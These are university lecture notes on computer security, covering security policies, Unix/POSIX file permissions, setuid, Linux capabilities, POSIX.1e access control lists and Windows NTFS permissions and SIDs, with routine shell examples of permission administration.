What is this course about?

This course provides an overview of technical measures commonly used to enforce security policies, to protect networked and multi-user information systems against malicious user activity, mainly at the level of operating systems and network protocols. It also discusses common security concepts and pitfalls for application programmers and system architects, and strategies for exploiting and mitigating the resulting vulnerabilities.

1. **Introduction.** Concepts and terminology, Security policies
2. **Access control.** Basic concepts, Unix/POSIX DAC, Windows NTFS, LDAP and Active Directory, Mandatory access control
3. **Operating-system security.**
4. **Software security.** Malicious software, Common vulnerabilities, Buffer overflows, Inband signalling problems, Exposure to environment, Numerical problems, Concurrency vulnerabilities, Parameter checking, Sourcing secure random bits, Security testing
5. **Cryptography.** Basic primitives, Application examples
6. **Entity authentication.** Passwords, Protocols, Kerberos

Previously, **Security I** (Part IB) and **Security II** (Part II), each covered $\approx 50\%$ cryptography and $\approx 50\%$ other security topics. In 2018, most crypto material moved to a new Part II course **Cryptography**, with most of the remaining security topics covered here in Part IB.
Computer/Information/Cyber Security

**Definition**

Computer Security: the discipline of managing malicious intent and behaviour involving information and communication technology

Malicious behaviour can include

- Fraud/theft – unauthorised access to money, goods or services
- Vandalism – causing damage for personal reasons (frustration, envy, revenge, curiosity, self esteem, peer recognition, . . . )
- Terrorism – causing damage, disruption and fear to intimidate
- Warfare – damaging military assets to overthrow a government
- Espionage – stealing information to gain competitive advantage
- Sabotage – causing damage to gain competitive advantage
- “Spam” – unsolicited marketing wasting time/resources
- Illegal content – child sexual abuse images, copyright infringement, hate speech, blasphemy, . . . (depending on jurisdiction) ↔ censorship

Security vs safety engineering: focus on **intentional** rather than **accidental** behaviour, presence of intelligent adversary.

Where is information security a concern?

Many organisations are today critically dependent on the flawless operation of computer systems. Without these, we might lose

- in a **business environment**: legal compliance, cash flow, business continuity, profitability, commercial image and shareholder confidence, product integrity, intellectual property and competitive advantage

- in a **military environment**: exclusive access to and effectiveness of weapons, electronic countermeasures, communications secrecy, identification and location information, automated defences

- in a **medical environment**: confidentiality and integrity of patient records, unhindered emergency access, equipment safety, correct diagnosis and treatment information

- in **households**: PC, privacy, correct billing, burglar alarms

- in **society at large**: utility services, communications, transport, tax/benefits collection, goods supply, . . .

security threats → security policies → security controls
Common information security targets

Most information-security concerns fall into three broad categories:

**Confidentiality** ensuring that information is accessible only to those authorised to have access

**Integrity** safeguarding the accuracy and completeness of information and processing methods

**Availability** ensuring that authorised users have access to information and associated assets when required

Some basic threat scenarios

**Data in transit:**

Eavesdropper: (passive)

Middle-person attack: (active)

**Data at rest:**

Storage security:

**Data in use:**

Side channels / fault injection:
Aspects of integrity and availability protection

- Rollback – ability to return to a well-defined valid earlier state (→ backup, revision control, undo function)
- Authenticity – verification of the claimed identity of a communication partner
- Non-repudiation – origin and/or reception of message cannot be denied in front of third party
- Audit – monitoring and recording of user-initiated events to detect and deter security violations
- Intrusion detection – automatically notifying unusual events

“Optimistic security”
Temporary violations of security policy may be tolerable where correcting the situation is easy and the violator is accountable. (Applicable to integrity and availability, but usually not to confidentiality requirements.)

Variants of confidentiality

- Data protection/personal data privacy – fair collection and use of personal data, in Europe a set of legal requirements
- Anonymity/untraceability – ability to use a resource without disclosing identity/location
- Unlinkability – ability to use a resource multiple times without others being able to link these uses together
  
  HTTP “cookies” and the Global Unique Document Identifier (GUID) in Microsoft Word documents were both introduced to provide linkability.
- Pseudonymity – anonymity with accountability for actions.
- Unobservability – ability to use a resource without revealing this activity to third parties
  
  low-probability-of-intercept radio, steganography, information hiding
- Copy protection, information flow control – ability to control the use and flow of information

A more general proposal to define of some of these terms by Pfritzmann/Köhntopp:
http://www.springerlink.com/link.asp?id=xkedq9pftwh8j752
http://dud.inf.tu-dresden.de/Anon_Terminology.shtml
“Is this product/technique/service secure?”

Simple Yes/No answers are often wanted, but typically inappropriate. Security of an item depends much on the context in which it is used. Complex systems often include many elements and interactions with their environment/users that are open to abuse.

“No worries, our product is 100% secure. All data is encrypted with 128-bit keys, which take billions of years to break.”

Such statements are abundant in marketing literature. Better to ask:

▶ What does the mechanism achieve?
▶ Do we need confidentiality, integrity or availability, and of what exactly?
▶ Who will generate the keys and how? Who will store / have access to the keys? Can we lose keys and with them data?
▶ Will it interfere with other security measures (backup, auditing, malware/intrusion detection, . . . )?
▶ Will it introduce new vulnerabilities or can it somehow be used against us? What new incentives might it create?
▶ What if it breaks or is broken?
▶ What are the easiest means of circumvention?
▶ . . .
Security policy development in organizations

Step 1: Security requirements analysis
▶ Identify assets and their value
▶ Identify vulnerabilities, threats and risk priorities
▶ Identify legal and contractual requirements

Step 2: Work out a suitable security policy
The security requirements identified can be complex and may have to be abstracted first into a high-level security policy, a set of rules that clarifies which are or are not authorised, required, and prohibited activities, states and information flows.

Security policy models are techniques for the precise and even formal definition of such protection goals. They can describe both automatically enforced policies (e.g., a mandatory access control configuration in an operating system, a policy description language for a database management system, etc.) and procedures for employees (e.g., segregation of duties).

Step 3: Security policy document
Once a good understanding exists of what exactly security means for an organisation and what needs to be protected or enforced, the high-level security policy should be documented as a reference for anyone involved in implementing controls. It should clearly lay out the overall objectives, principles and the underlying threat model that are to guide the choice of mechanisms in the next step.

Step 4: Selection and implementation of controls
Issues addressed in a typical low-level organisational security policy:
▶ General (affecting everyone) and specific responsibilities for security
▶ Names manager who “owns” the overall policy and is in charge of its continued enforcement, maintenance, review, and evaluation of effectiveness
▶ Names individual managers who “own” individual information assets and are responsible for their day-to-day security
▶ Reporting responsibilities for security incidents, vulnerabilities, software malfunctions
▶ Mechanisms for learning from incidents
Incentives, disciplinary process, consequences of policy violations

User training, documentation and revision of procedures

Personnel security (depending on sensitivity of job)
   Background checks, supervision, confidentiality agreement

Regulation of third-party access

Physical security
   Definition of security perimeters, locating facilities to minimise traffic across perimeters, alarmed fire doors, physical barriers that penetrate false floors/ceilings, entrance controls, handling of visitors and public access, visible identification, responsibility to challenge unescorted strangers, location of backup equipment at safe distance, prohibition of recording equipment, redundant power supplies, access to cabling, authorisation procedure for removal of property, clear desk/screen policy, etc.

Segregation of duties
   Avoid that a single person can abuse authority without detection (e.g., different people must raise purchase order and confirm delivery of goods, croupier vs. cashier in casino)

Audit trails
   What activities are logged, how are log files protected from manipulation

Separation of development and operational facilities

Protection against unauthorised and malicious software

Organising backup and rehearsing restoration

File/document access control, sensitivity labeling of documents and media

Disposal of media
   Zeroise, degauss, reformat, or shred and destroy storage media, paper, carbon paper, printer ribbons, etc. before discarding it.

Network and software configuration management

Line and file encryption, authentication, key and password management

Duress alarms, terminal timeouts, clock synchronisation, . . .

For more detailed check lists and guidelines for writing informal security policy documents along these lines, see for example

   https://bsol.bsigroup.com/ (free access from CUDN)

German Information Security Agency’s “IT Baseline Protection Catalogs”

US DoD National Computer Security Center “Rainbow Series”, early military IT security policy guidelines
   https://en.wikipedia.org/wiki/Rainbow_Series
Human factors

- As technical security of IT systems improves, its human users become the largest security vulnerability
  ⇒ many ancient fraud techniques still work well

- Most workers are goal oriented and will intuitively take the minimal action required to complete a task.
  Example: Windows NT trusted-path login keystroke

- User assess cost/benefit of security measures, and will put up with some inconvenience.

- But their patience is a finite resource: their “compliance budget” must be managed like any other budget.

- Insufficient communication with users can produce unusable systems.


Access control matrix

In its most generic form usually formalised as an Access Control Matrix $M$ of the form

$$M = (M_{so})_{s \in S, o \in O} \quad \text{with} \quad M_{so} \subseteq A$$

where

$S$ = set of “subjects” (e.g.: jane, john, sendmail)

$O$ = set of “objects” (/mail/jane, edit.exe, sendmail)

$A$ = set of “access privileges” (read, write, execute, append)

<table>
<thead>
<tr>
<th></th>
<th>/mail/jane</th>
<th>edit.exe</th>
<th>sendmail</th>
</tr>
</thead>
<tbody>
<tr>
<td>jane</td>
<td>{r,w}</td>
<td>{r,x}</td>
<td>{r,x}</td>
</tr>
<tr>
<td>john</td>
<td>{}</td>
<td>{r,w,x}</td>
<td>{r,x}</td>
</tr>
<tr>
<td>sendmail</td>
<td>{a}</td>
<td>{}</td>
<td>{r,x}</td>
</tr>
</tbody>
</table>

Columns stored with objects: “access control list”

Rows stored with subjects: “capabilities”

In some implementations, the sets of subjects and objects can overlap.
Access control matrix – extensions

The basic access control matrix is rarely implemented in practice, for a number of reasons:

▶ scalability – too large for non-trivial numbers of subjects or objects
▶ redundancy – typically many subjects share the same capabilities, and many objects the same access control lists
▶ usability – difficult to review and maintain by humans

Some practical systems group equivalent subjects into “domains” and objects into “types”, leading to smaller “type enforcement” matrixes. Many also distinguish between “users” and “processes”. Many group users into “groups” or “roles”, and assign capabilities to “roles”.

Practical access control systems often utilize existing hierarchical structures occurring in operating systems, to help grouping subjects or objects more conveniently:

▶ hierarchical file system (subdirectory paths)
▶ process ancestry trees (parent-process relation)

Discretionary vs Mandatory

**Discretionary Access Control (DAC):**

Access to objects (files, directories, devices, etc.) is permitted based on user identity. Each object is owned by a user. Owners can specify freely (at their discretion) how they want to share their objects with other users, by specifying which other users can have which form of access to their objects.

Discretionary access control is implemented on any multi-user OS (Unix, Windows NT, etc.).

**Mandatory Access Control:**

Access to objects is controlled by a system-wide policy, for example to prevent certain flows of information. In some forms, the system maintains security labels for both objects and subjects (processes, users), based on which access is granted or denied. Labels can change as the result of an access. Security policies are enforced without the cooperation of users or application programs.

Mandatory access control originated in special operating system versions for military users (e.g., Trusted Solaris). It is now used widely on mobile consumer devices to sandbox apps.

Mandatory access control for Linux: SELinux, AppArmor, Smack, etc.
Unix/POSIX access control: overview

Traditional Unix uses a very simple form of file access permissions:

- Each file (inode) carries just three integer values to control access:
  - user ID – file owner
  - group ID
  - 12 “mode” bits that define access permissions

- Peripheral devices and some interprocess-communication endpoints (Unix domain sockets, named pipes) are represented by special file types (e.g., /dev/ttyUSB0), with access controlled the same way.

- Advantages and disadvantages:
  + small state space ⇒ very easy to display, read and query
  - no standardized access-control list (POSIX.1e draft abandoned), access can only be restricted to a single group for each file ⇒ can create need for a large number of groups (subsets of users)
  - small space of user/group identifiers (originally: 16-bit int) ⇒ renumbering needed when organizations merge

Unix/POSIX access control: at a glance

**User:**

<table>
<thead>
<tr>
<th>user ID</th>
<th>group ID</th>
<th>supplementary group IDs</th>
</tr>
</thead>
</table>

stored in /etc/passwd and /etc/group, displayed with command id

**Process:**

<table>
<thead>
<tr>
<th>effective user ID</th>
<th>real user ID</th>
<th>saved user ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>effective group ID</td>
<td>real group ID</td>
<td>saved group ID</td>
</tr>
<tr>
<td>supplementary group IDs</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

stored in process descriptor table

**File:**

<table>
<thead>
<tr>
<th>owner user ID</th>
<th>group ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>set-user-ID bit</td>
<td>set-group-ID bit</td>
</tr>
<tr>
<td>owner RWX</td>
<td>group RWX</td>
</tr>
<tr>
<td>other RWX</td>
<td>“sticky bit”</td>
</tr>
</tbody>
</table>

stored in file’s i-node, displayed with ls -l

```
$ id
uid=1597(mgk25) gid=1597(mgk25) groups=1597(mgk25),4(adm),20(dialout),
24(cdrom),27(sudo),9531(sec-grp),9539(teaching),9577(raspberrypi)
$ ls -la
drwxrwxr-x 2 mgk25 sec-grp 4096 2010-12-21 11:22 .
drwxr-xr-x 202 mgk25 mgk25 57344 2011-02-07 18:26 ..
-rwxrwx--- 1 mgk25 sec-grp 2048 2010-12-21 11:22 test5
```
Unix/POSIX access control: user/group IDs

<table>
<thead>
<tr>
<th>user ID</th>
<th>group ID</th>
<th>supplementary group IDs</th>
</tr>
</thead>
<tbody>
<tr>
<td>$ id</td>
<td></td>
<td></td>
</tr>
<tr>
<td>uid=1597(mgk25) gid=1597(mgk25) groups=1597(mgk25),4(adm),20(dialout), 24(cdrom),27(sudo),9531(sec-grp),9539(teaching),9577(raspberrypi)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Every user is identified by a 32-bit integer value (user ID, uid).
- Every user also belongs to at least one “group”, each of which is identified by a 32-bit integer value (group ID, gid).

IDs below 1000 are usually reserved for use by operating-system services.

- The kernel only deals with integer user IDs and group IDs
- The C library provides support for human-readable names via
  - a “passwd” database query interface that maps between integer user IDs and user names: getpwnam(3), getpwuid(3)
  - a “group” database query interface that maps between integer group IDs and group names: getgrnam(3), getgrgid(3)

Configuration file /etc/nsswitch.conf defines where these databases reside, e.g. in local files /etc/passwd and /etc/group or on a network server (LDAP, NIS), cached by nscd.

Unix/POSIX access control: group membership

- Each user belongs to one primary group (defined via passwd database) and an optional set of supplementary groups (membership defined via group database)
- Commands to look up identifiers and group membership:
  - $ whoami
  - mgk25
  - $ groups
  - mgk25 adm dialout cdrom sudo sec-grp teaching raspberrypi
  - $ id
  - uid=1597(mgk25) gid=1597(mgk25) groups=1597(mgk25),4(adm),20(dialout), 24(cdrom),27(sudo),9531(sec-grp),9539(teaching),9577(raspberrypi)
  - $ getent passwd mgk25
  - mgk25:*:1597:1597:Markus Kuhn:/home/mgk25:/bin/bash
  - $ getent group mgk25
  - mgk25:*:1597:mgk25
  - $ getent group raspberrypi
  - raspberrypi:*:9577:am21,awc32,db434,mkg25,rdm34,rkh23,sja55

- User and group names occupy separate name spaces, user and group IDs occupy separate number spaces. So the same name or the same ID number can refer to both a user and a group.

Many Unix administrators assign to each user a personal primary group (with that user as the sole member). Such personal groups typically have the same name and integer ID as the user. (They enable collaboration in shared directories with “umask 0002”, see slide 27.)
During login, the login process looks up in the “passwd” and “group” databases the integer user ID, primary group ID and supplementary group IDs associated with the login name, and inherits these to the shell process. Changes in the passwd/group database may not affect users currently logged in, until their next login.

Processes started by a user normally inherit the user ID and group IDs from the shell process.

Processes store three variants of user ID and group ID: “effective”, “real”, and “saved”. Of these, only the “effective” user ID (euid) and group ID (egid) are consulted during file access.

User ID 0 ("root") has full access (by-passes access control). This is commonly disabled for network-file-server access ("root squashing").

User ID 0 ("root") can change its own user IDs and group IDs: setresuid(2), setresgid(2)

Unix/POSIX access control: file permissions

Each file carries both an owner’s user ID and a single group ID.

16-bit “mode” of each file contains nine permission bits, which are interpreted in groups of 3 (⇒ usually written as an octal number):

- S_IRUSR 00400 owner has read permission
- S_IWUSR 00200 owner has write permission
- S_IXUSR 00100 owner has execute permission
- S_IRGRP 00040 group has read permission
- S_IWGRP 00020 group has write permission
- S_IXGRP 00010 group has execute permission
- S_IROTH 00004 others have read permission
- S_IWOTH 00002 others have write permission
- S_IXOTH 00001 others have execute permission

When a process tries to access a file, the kernel first decides into which one of three user classes the accessing process falls:

- If `file.owner_ID = process.euid` then `class := OWNER;`
- else if `file.group_ID = process.egid` or `file.group_ID ∈ process.group_IDs` then `class := GROUP;`
- else `class := OTHERS`

For each class ("owner", "group", "others") there are three mode bits, controlling “read”, “write”, and “execute” access by that class. The kernel consults only the three permission bits for the respective user class of a process. Therefore it does not matter for a process in the “owner” class if it is also a member of the group to which the file belongs or what access rights the “others” class has, etc.
Unix/POSIX access control: directory permissions

- For a directory, the three bits have a different meaning:
  - `r` required for reading the names of the files contained
  - `w` required to change the list of filenames in the directory, i.e. to create, delete, rename or move a file in it
  - `x` required to access the contents or attributes of a file in it ("directory traversal" or "search" right), i.e. to dereference the inode of a known filename in it

  The name of a file in a directory that grants execute/search but not read access (`--x`) can be used like a password: the file can only be accessed by users who know its name.

- Directory write access is sufficient to remove any file or empty subdirectory in it.

  Unix considers deleting or renaming a file as write access to the directory, not to the file. A Unix directory is a set of links from file names to inodes. Deleting such a link merely reduces the reference count in the file’s inode by one. The inode and file vanish when this reference count reaches zero. You can rename a non-empty directory via write access to its parent directory, but not delete it (only empty directories can be deleted in Unix) or move it to another parent (as this also requires write access to its `".."` link).

- Berkeley Unix added a tenth access control bit: the “sticky bit”.

  If it is set for a writable directory $D$, then a file $F$ in $D$ can be removed or renamed only by the owner of $F$ or the owner of $D$, on some systems also by others who have write access to $F$, but not by others who have write access to $D$.

  This “directory protection” is commonly used in shared rwxrwxrwt directories for temporary files, such as `/tmp/` or `/var/spool/mail/`.

Unix/POSIX access control: changing permissions

- Only the owner of a file or directory can change its permission bits:

  ```bash
  $ chmod g+w file # allow write by group members
  $ chmod a+x file # allow execute by all (user+group+others)
  $ chmod ug+x,o-rwx file # user+group can execute, deny all for others
  $ chmod 0664 file # mode rw-rw-r--
  $ chmod g+s file # set setgid bit
  $ chmod +t /tmp # set sticky bit
  $ ls -ld /tmp
drwxrwxrwt 6 root root 4096 Apr 20 18:54 /tmp
  ```

- Only the owner of a file or directory can change its group (and only to a group of which the owner is a member):

  ```bash
  $ chgrp teaching notes.tex
  ```

- Only user ID 0 ("root") can change the owner of a file or directory:

  ```bash
  $ chown -R mgk25:mgk25 /home/mgk25
  ```

  Colon notation allows setting both uid and gid together.
Unix/POSIX access control: new files, umask, inheritance

- By default, a newly created file has permissions \((\text{mode} \& \sim \text{umask})\), where usually \(\text{mode} = 0666\) (\(\text{rw-rw-rw-}\)).

- umask is a field in the process descriptor table that can be used to disable default permissions of newly created files. Common values:
  - $\text{umask 0022} \ # \text{rw-r--r--} \ no \ write \ access \ for \ group+others$
  - $\text{umask 0002} \ # \text{rw-rw-r--} \ no \ write \ access \ for \ others$
  - $\text{umask 0077} \ # \text{rw-------} \ no \ access \ for \ group+others$
  - $\text{umask 0007} \ # \text{rw-rw----} \ no \ access \ for \ others$

- New files by default inherit the primary group of the creating process.

- If the setgid bit is set for a directory then
  - any file or directory created in it inherits the group of that directory
  - any directory created in it inherits the setgid bit

Collaborating via group access in shared directories:

\begin{verbatim}
$ mkdir shared
$ chgrp team shared
$ chmod g+rwxs shared
$ echo 'umask 0002' >>~/.profile \ # done by all group members
\end{verbatim}

Using umask 0002 (or umask 0007) preserves group write access for all new files. The effect of this is limited to shared directories if all personal directories belong to a personal group with the owner as the sole member (such that \(g+w\) has no effect there).

Controlled invocation / elevated rights I

Many programs need access rights to files beyond those of the user.

Example

The passwd program allows a user to change her password and therefore needs write access to /etc/passwd. This file cannot be made writable to every user, otherwise everyone could set anyone’s password.

Unix files carry two additional permission bits for this purpose:

- **set-user-ID** – file owner ID determines process permissions
- **set-group-ID** – file group ID determines process permissions

The user and group ID of each process comes in three flavours:

- **effective** – the identity that determines the access rights
- **real** – the identity of the calling user
- **saved** – the effective identity when the program was started
Controlled invocation / elevated rights II

A normal process started by user $U$ will have the same value $U$ stored as the effective, real, and saved user ID and cannot change any of them.

When a program file owned by user $O$ and with the set-user-ID bit set is started by user $U$, then both the effective and the saved user ID of the process will be set to $O$, whereas the real user ID will be set to $U$. The program can now switch the effective user ID between $U$ (copied from the real user id) and $O$ (copied from the saved user id).

Similarly, the set-group-ID bit on a program file causes the effective and saved group ID of the process to be the group ID of the file and the real group ID remains that of the calling user. The effective group ID can then as well be set by the process to any of the values stored in the other two.

This way, a set-user-ID or set-group-ID program can freely switch between the access rights of its caller and those of its owner.

The `ls` tool indicates the set-user-ID or set-group-ID bits by changing the corresponding “x” into “s”. A set-user-ID root file:

```
-rwsr-xr-x 1 root system 222628 Mar 31 2001 /usr/bin/X11/xterm
```

Problem: Proliferation of root privileges

Many Unix programs require installation with set-user-ID root, because the capabilities to access many important system functions cannot be granted individually. Only root can perform actions such as:

- changing system databases (users, groups, routing tables, etc.)
- opening standard network port numbers < 1024
- interacting directly with peripheral hardware
- overriding scheduling and memory-management mechanisms

Applications that need a single of these capabilities have to be granted all of them. If there is a security vulnerability in any of these programs, malicious users can often exploit them to gain full superuser privileges as a result.

On the other hand, a surprising number of these capabilities can be used with some effort on their own to gain full privileges. For example the right to interact with harddisks directly allows an attacker to set further set-uid-bits, e.g. on a shell, and gain root access this way. More fine-grain control can create a false sense of better control, if it separates capabilities that can be transformed into each other.
Traditional Unix kernels perform access-control checks in the form

```c
if (proc->euid == 0 || check_permissions(proc, ...)) {
    // ... grant access ...
} else { errno = EACCESS; return -1; }
```

They grant user root (uid = 0) the privilege to bypass regular permission checks, to enable system administration.

Recent operating systems instead offer more fine-grained control. Each process is labeled with a set of privileges (under Linux called "capabilities"), typically implemented as a bit mask, that defines which particular privileged operation the process is allowed to execute:

```c
if ((proc->effcap & CAP_DAC_OVERRIDE) != 0) ||
    check_permissions(proc, ...)) {
    // ... grant access ...
} else { errno = EACCESS; return -1; }
```

Linux capabilities II

Some examples of Linux capabilities:

- **CAP_CHOWN**: Make arbitrary changes to file UIDs and GIDs
- **CAP_DAC_OVERRIDE**: Bypass file read, write, and execute permission checks
- **CAP_DAC_READ_SEARCH**: Bypass file read permission checks and directory read and execute permission checks
- **CAP_FOWNER**: Bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file (e.g., chmod, utime)
- **CAP_KILL**: Bypass permission checks for sending signals
- **CAP_NET_BIND_SERVICE**: Bind a socket to Internet domain privileged ports (port numbers less than 1024)
- **CAP_SYS_CHROOT**: Use chroot()
Each Linux process (thread) $p$ has several capability sets:

- **Permitted** $P_p$ – limiting superset of the effective capabilities $E_p$ that the process may assume.
- **Effective** $E_p$ – used by the kernel to perform permission checks
- **Inheritable** $I_p$ – set of capabilities preserved across invocation of another program (with `execve`).
- **Bounding set** $X_p$ – Upper limit, inherited, can only ever shrink

Likewise, each executable file $f$ can have three associated capability sets:

- **Permitted** $P_f$ – capabilities automatically permitted when the program is executed
- **Effective** $E_f$ – determines if a newly permitted capability from $P_f$ is also added to the effective set
- **Inheritable** $I_f$ – inherited capabilities that this program is allowed to receive

When a process $p$ starts another process $p'$ by executing file $f$:

\[
P_{p'} := (X_p \cap P_f) \cup (I_p \cap I_f)
\]
\[
E_{p'} := E_f \cap P_{p'}
\]
\[
I_{p'} := I_p
\]

This is a simplified algorithm, see "man capabilities" for details, e.g. interaction with setuid bits.

### Linux capabilities – example

Example:

```
$ cd /tmp
$ touch test.txt
$ chown mail test.txt
chown: changing ownership of 'test.txt': Operation not permitted
$ cp /bin/chown mychown
$ getcap mychown
$ sudo setcap cap_chown+pe mychown
$ getcap mychown
mychown = cap_chown+ep
$ ls -l test.txt ; ./mychown mail test.txt ; ls -l test.txt
-rw-rw-r-- 1 mgk25 mgk25 0 Apr 25 22:25 test.txt
-rw-rw-r-- 1 mail mgk25 0 Apr 25 22:25 test.txt
$ getfattr -d -m - mychown
# file: mychown
security.capability=0sAQAAAgAAAAAAAAAAAAAABBBBAAA=
```
POSIX.1e access control lists

- Draft standards IEEE/POSIX 1003.1e and 1003.2c to add "protection, audit and control interfaces" to the POSIX API and shell tools were never completed (withdrawn in January 1998).

- However, parts of the last POSIX.1e “Draft 17” (October 1997) got widely implemented, in particular the access control lists.

A POSIX.1e ACL consists of a set of entries, of which there are six types:

1. Each file has one owner, owning group and others entry, which together carry the nine old mode bits.

2. Multiple named entries can be added to grant access to additional users and groups.

3. A single mask entry then limits the permissions that can be granted by the named and owning group entries.

<table>
<thead>
<tr>
<th>Entry type</th>
<th>Text form</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>owner</td>
<td>user::rwx</td>
<td>1</td>
</tr>
<tr>
<td>named user</td>
<td>user:name:rwx</td>
<td>2</td>
</tr>
<tr>
<td>owning group</td>
<td>group::rwx</td>
<td>1</td>
</tr>
<tr>
<td>named group</td>
<td>group:name:rwx</td>
<td>2</td>
</tr>
<tr>
<td>mask</td>
<td>mask::rwx</td>
<td>3</td>
</tr>
<tr>
<td>others</td>
<td>other::rwx</td>
<td>1</td>
</tr>
</tbody>
</table>

If there are named entries, the mask takes over the role of the owning group entry for the old chmod/stat/ls interfaces.

POSIX.1e access control lists – compatibility mapping

Mapping between ACL entries and chmod “file mode” permission bits:

Minimal ACL

```
user::rwx
group::r--
other::---
```

Extended ACL

```
user::rwx
user:joe:rwx
group::r--
mask::rwx
other::---
```

The POSIX ACL design aims to remain largely backwards compatible with applications that only understand the nine mode bits:

- Running `chmod go-rwx` still ensures that nobody other than the file owner has access. Running `chmod g-rwx` will clear the mask entry (if there are named entries), and therefore disable any access that could have been granted by ACLs beyond what the mode bits show.
- Reviewing the permission bits (e.g., with `find` or `ls -l`) still shows at a glance the maximum level of access granted to anyone other than the owner.
- The access-check algorithm still runs in two stages: first determine, which one access-control entry determines access, then apply that entry.

**Inheritance**

In addition to the access ACL used for the access check, directories can also have a default ACL. It determines the access ACL that a file-system object inherits from its parent directory when it is created (and in the case of a new directory also its default ACL).

**POSIX.1e access control lists – access check algorithm**

```
If proc.euid = file.owner
⇒ owner entry determines access

else if proc.euid matches one of the named user entries
⇒ matching named user entry determines access

else if one of the group ids of the process matches the owning group entry and that entry contains the requested permissions
⇒ that entry determines access

else if one of the group ids of the process matches one of the named group entries and that entry contains the requested permissions
⇒ that entry determines access

else if one of the group ids of the process matches the owning group entry or any of the named group, but neither the owning group entry nor any of the matching named group entries contains the requested permissions ⇒ access is denied

else the others entry determines access

If the entry determined above is the owner or other entry, and it contains the requested permissions ⇒ access is granted

else if the entry determined above is a named user, owning group or named group entry and it contains the requested permissions and the mask also contains the requested permissions (or there is no mask entry) ⇒ access is granted

else access is denied.
```
POSIX.1e access control lists – example

$ cd /tmp ; touch test.txt
$ chgrp sec-grp test.txt ; chmod 0640 test.txt
$ ls -l test.txt
-rw-r----- 1 mgk25 sec-grp 0 Apr 26 15:48 test.txt
$ setfacl -m user:drt24:rw,group:wednesday:r test.txt
$ getfacl test.txt
# file: test.txt
# owner: mgk25
# group: sec-grp
user::rw-
user:drt24:rw-
group::r--
group:wednesday:r--
mask::rw-
other::---
$ ls -l test.txt
-rw-rw----+ 1 mgk25 sec-grp 0 Apr 26 15:48 test.txt
This may not work on NFS/SMB networked filesystems, which use Windows-NTFS-style ACLs.

POSIX.1e access control lists – example (cont’d)

$ ls -l test.txt
-rw-rw----+ 1 mgk25 sec-grp 0 Apr 26 15:48 test.txt
$ chmod g-w test.txt
$ getfacl test.txt
# file: test.txt
# owner: mgk25
# group: sec-grp
user::rw-
user:drt24:rw-  #effective:r--
group::r--
group:wednesday:r--
mask::r--
other::---
$ ls -l test.txt
-rw-r----- 1 mgk25 sec-grp 0 Apr 26 15:48 test.txt
$ setfacl -b test.txt
$ ls -l test.txt
-rw-r----- 1 mgk25 sec-grp 0 Apr 26 15:48 test.txt
Windows access control

Microsoft’s Windows NT/2000/XP/Vista/7/8/8.1/10/… provides an example for a considerably more complex access-control architecture.

All accesses are controlled by a Security Reference Monitor.

Access control is applied to many different object types (files, directories, registry keys, printers, processes, user accounts, Active Directory LDAP objects (users, groups, computers) and attributes, etc.).

Each object type has its own list of permissions.

Files and directories on an NTFS formatted disk, for instance, distinguish permissions for the following access operations:

- Traverse Folder/Execute File
- List Folder/Read Data
- Read Attributes
- Read Extended Attributes
- Create Files/Write Data
- Create Folders/Append Data
- Write Attributes
- Write Extended Attributes
- Delete Subfolders and Files
- Delete
- Read Permissions
- Change Permissions
- Take Ownership

Note how the permissions for files and directories have been arranged for POSIX compatibility.

Windows access control: Windows Explorer GUI

![Windows Explorer GUI](image)
### Windows access control: permissions

As the list of all NTFS permissions is too confusing in practice, the Explorer GUI presents a list of common permission subsets:

<table>
<thead>
<tr>
<th>Permission Entry</th>
<th>Full Control</th>
<th>Modify</th>
<th>Read &amp; Execute / List Folder Contents</th>
<th>Read</th>
<th>Write</th>
</tr>
</thead>
<tbody>
<tr>
<td>Traverse Folder/Execute File</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>List Folder/Read Data</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Read Attributes</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>Read Extended Attributes</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>Create Files/Write Data</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Create Folders/Append Data</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Write Attributes</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Write Extended Attributes</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delete Subfolders and Files</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delete</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Read Permissions</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>Change Permissions</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Take Ownership</td>
<td></td>
<td></td>
<td></td>
<td>x</td>
<td></td>
</tr>
</tbody>
</table>

### Windows access control: “Advanced” Explorer GUI

[Image of Advanced Security Settings for example.txt]

[Image of Permission Entry for example.txt]
Windows access control: SIDs

Every user or group is identified by a *security identifier* (SID) – the NT equivalent of the Unix user ID and group ID.

A SID is internally a variable-length string of integer values.

C:\> wmic useraccount where name='%username%' get sid
SID
S-1-5-21-60690662-395645056-62016732-1226

C:\> whoami /user
User Name SID
================== ==========================================
cl.cam.ac.uk\mgk25 S-1-5-21-60690662-395645056-62016732-1226

C:\> whoami /groups
Group Name Type SID
====================================== ================ ===========================================
Everyone Well-known group S-1-1-0
BUILTIN\Remote Desktop Users Alias S-1-5-32-545
BUILTIN\Users Alias S-1-5-32-545
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11
NT AUTHORITY\This Organization Well-known group S-1-5-15
LOCAL Well-known group S-1-2-0
CL.CAM.AC.UK\wednesday Group S-1-5-21-60690662-395645056-62016732-8760
